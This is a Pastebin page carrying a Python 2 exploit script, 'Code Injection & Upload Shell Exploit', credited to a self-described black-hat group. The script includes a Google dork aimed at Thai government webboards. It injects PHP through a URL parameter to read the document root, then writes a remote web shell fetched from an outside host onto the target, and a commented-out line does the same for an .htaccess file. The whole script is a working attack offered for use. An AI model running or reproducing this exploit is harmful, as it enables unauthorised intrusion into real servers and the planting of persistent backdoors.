Advertisement
mnh_Pastebin

gogogoth

Apr 25th, 2019
101
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.27 KB | None | 0 0
  1. #!/usr/bin/env python
  2. #-*- coding: utf-8 -*-
  3. #from bs4 import BeautifulSoup
  4. import urllib2
  5. import re
  6. print('''\033[1;36m
  7. ___ _ ___ _ _ _
  8. / __|___ __| |___ |_ _|_ _ (_)___ __| |_(_)___ _ _
  9. | (__/ _ \/ _` / -_) | || ' \ | / -_) _| _| / _ \ ' \
  10. \___\___/\__,_\___| |___|_||_|/ \___\__|\__|_\___/_||_|
  11. |__/ ''')
  12. print('''\033[1;33m
  13. =[ Code Injection & Upload Shell Exploit - V1.0 ]
  14. [+] -- -- =[ Author: Myanmar Noob Hackers ]
  15. [+] -- -- =[ Greetz : All Myanmar BLack Hats ]
  16. [+] -- -- =[ Page FB:https://www.facebook.com/official.myanmar.noob.hackers/ ]''')
  17.  
  18. print('''
  19. Usage : [1]http://example.com
  20. [2]Expoitation
  21. \033[1;31m----===---===--- Google Dork ---===---===----
  22. inurl:/webboard/index.php?category= site:go.th''')
  23.  
  24. site = raw_input("\033[1;32m\n Target: ")
  25. site = site.replace('https://', '')
  26. site = site.replace('http://', '')
  27. tar_list = site.split('/')
  28. for tar in tar_list:
  29. if tar == '':
  30. tar_list.remove(tar)
  31. site = '/'.join(tar_list)
  32. site = 'http://' + site
  33. url = urllib2.urlopen( str(site) +"/webboard/index.php?category=${@phpinfo()}").read()
  34.  
  35. # ' </td><td class="v">/home/%s/domains/%site/public_html/ '
  36. path = re.findall("DOCUMENT_ROOT(.*)</td></tr>", url)[0]
  37. path = path.replace(' </td><td class="v">', "")
  38. raw_input("\033[1;34m \n [+] -- -- =[ Find Document_Root Path => Enter ]" )
  39. print('''
  40. \033[1;31m Found : %s'''%path)
  41.  
  42. path = raw_input("\033[1;33m \n Add Document_Root Here: ")
  43.  
  44. url1 = urllib2.urlopen( str(site) +"/webboard/index.php?category=${@file_put_contents('"+ str(path) +"/fileupload/upload.php',file_get_contents('https://raw.githubusercontent.com/pentest/shell/master/upload.txt'))}")
  45.  
  46. print('''
  47. \033[1;31m[+] -- -- =[ Successfully Shell Uploaded ]\n [+] -- -- =[ Your Shell : %s/fileupload/upload.php ]''')%site
  48. print("\n")
  49.  
  50. #url2 = urllib2.urlopen( str(site) +"/webboard/index.php?category=${@file_put_contents('"+ str(path) +"/fileupload/.htaccess',file_get_contents('https://pastebin.com/raw/fH5h44u5'))}")
  51.  
  52. #print('''
  53. # \033[1;31m[+] -- -- =[ .htaccess file was created ]\n
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement